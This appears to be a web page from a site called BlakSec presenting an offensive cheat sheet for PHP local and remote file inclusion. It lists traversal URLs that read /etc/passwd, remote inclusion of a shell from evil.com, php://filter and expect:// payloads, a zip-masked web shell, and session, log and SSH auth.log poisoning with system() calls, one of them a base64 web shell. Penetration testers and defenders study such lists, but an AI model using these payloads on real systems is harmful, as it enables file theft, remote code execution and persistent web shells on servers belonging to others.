BlakSec

What is LFI / RFI?

Local/Remove File Inclusion vulnerability allows an attacker to exploit a dynamic file inclusion mechanism of a web application to access files outside the intended spectre.

LFI / RFI Cheat Sheet

http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
http://example.com/index.php?page=path/to/uploaded/file.png
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Exploit LFI through ZIP

Crate a PHP payload (e.g.: system($_GET['cmd']), zip, masking your archive as a file with different, acceptable extension

zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
rm payload.php

Execute

http://example.com/index.php?page=zip://shell.jpg%23payload.php

Exploit LFI / RCE via input://

http://example.com/index.php?page=php://input
DATA: <? system('whoami'); ?>

Exploit LFI / RCE via PHP Session

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-April-2018 00:21:29 EDT; path=/; httponly

In PHP5 these sessions are stored into /var/lib/php5/sess_[PHPSESSID]

Inject your command into a cookie:

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

And include it

http://example.com/index.php?page=file=/../../../../../../../../../var/lib/php5/sess_978a69sdf76987er6zdfa

Exploit LFI / RCE via Log file

Append PHP to a log file (use your imagination here)

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log

And include it

http://example.com/index.php?page=/var/log/apache/access.log

Exploit RFI wrapping DATA with "" payload

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

Exploit RFI through EXPECT

http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

Example: RCE through LFI via SSH Log Poisoning

Let's assume your target system is running a flavour of Debian (Ubuntu)) where login attempts are logged to auth.log and said file is accessible via LFI, e.g.

# curl -v -s -G --data-urlencode file=/var/log/auth.log http://192.168.56.106 |grep logind
...
May 9 04:54:33 hostname  systemd-login[782]: New seat seat0
...

Good, we can read the log. Now let's try injecting some php into the log. The code will execute remote command and render it's output as part of response.

A word of caution - have to be very careful here as improperly formatted php will break the log in a way that you wont be able to load it any more. If you're planning on injecting large amount of data perhaps create a bunch of temp files under /tmp and work with these instead, keeping auth.log as a fall-back.

The quickest and shortest way to pass arbitrary commands to PHP would be via system() call which can be injected into auth.log as follows:

# ssh '<? system($_GET['c']); ?>'@192.168.1.105